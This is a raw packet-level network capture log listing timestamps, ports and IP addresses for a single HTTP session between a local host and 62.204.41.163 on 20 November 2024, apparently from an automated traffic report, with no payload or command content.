Nov 20, 2024 07:48:20.664032936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664038897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664066076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664076090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664107084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664123058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664167881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664175987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664210081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664216042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664247036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664252043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664290905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664295912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664345980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664369106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664378881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664385080 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664411068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664438009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664444923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664458036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664478064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664505005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664513111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664519072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664546013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664577961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664578915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664599895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664613962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664619923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664649010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664681911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664715052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664716005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664724112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664724112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664763927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664768934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664805889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664829016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664839029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664848089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664872885 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664877892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664915085 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664920092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664958954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.664973021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665026903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665026903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665061951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665081024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665096045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665101051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665129900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665138960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665165901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665174007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665199041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665199041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665236950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665252924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665271044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665283918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665303946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665313005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665338039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665370941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665379047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665405035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665412903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665437937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665446997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665471077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665474892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665503979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665508986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665538073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665544033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665570974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665577888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665605068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665613890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665637970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665669918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665678024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665704012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665709972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665738106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665745974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665771008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665776014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665803909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665816069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665836096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665844917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665869951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665893078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665901899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665921926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665935040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665963888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.665967941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.665971994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666002035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666033983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666040897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666069031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666078091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666104078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666115046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666140079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666146994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666172981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666207075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666213036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666239023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666266918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666273117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666306973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666316986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666321993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666352034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666384935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.666399002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.666425943 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.689623117 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:20.750894070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751044989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751063108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751075983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751095057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751110077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751118898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751148939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751152039 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751183033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751198053 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751229048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751235008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751267910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751298904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751302958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751324892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751370907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751405954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751415968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751439095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751446962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751475096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751482964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751507998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751516104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751549006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751560926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751595020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751601934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751636028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751653910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751697063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751707077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751741886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751774073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751777887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751806974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751821041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751848936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751857996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751898050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751909971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751938105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751950979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.751971960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.751988888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752006054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752012014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752039909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752049923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752090931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752137899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752142906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752177000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752190113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752209902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752243042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752243996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752258062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752290964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752299070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752350092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752382994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752393961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752419949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752424955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752455950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752490044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752497911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752522945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752528906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752556086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752566099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752592087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752598047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752624989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752650976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752675056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752676010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752708912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752742052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752752066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752775908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752784967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752809048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752841949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752861023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752862930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752896070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752909899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.752935886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752969980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.752974987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753004074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753036976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753047943 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753070116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753103018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753122091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753137112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753144026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753170013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753175974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753202915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753205061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753237009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753243923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753271103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753278971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753303051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753314018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753350019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753360033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753411055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753444910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753457069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753478050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753520012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753536940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753848076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753891945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753900051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753937006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753950119 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.753969908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.753978968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754004002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754036903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754048109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754070997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754092932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754100084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754118919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754133940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754149914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754170895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754179001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754204035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754213095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754239082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754249096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754271984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754281044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754306078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754312038 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754338026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754352093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754371881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754384995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754405975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754417896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754439116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754452944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754473925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754512072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754518032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754549026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754558086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754582882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754612923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754616022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754635096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754651070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754661083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754684925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754718065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754729986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754750967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754759073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754785061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754793882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754817963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754828930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754853010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754859924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754884958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754897118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754919052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754929066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754952908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.754961014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.754987001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755002975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755021095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755029917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755053997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755086899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755105972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755120993 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755134106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755153894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755161047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755187035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755206108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755219936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755234957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755254030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755279064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755287886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755297899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755342960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755367041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755373955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755383968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755408049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755425930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755441904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755448103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755475998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755485058 CET	49753	80	192.168.2.4	62.204.41.163
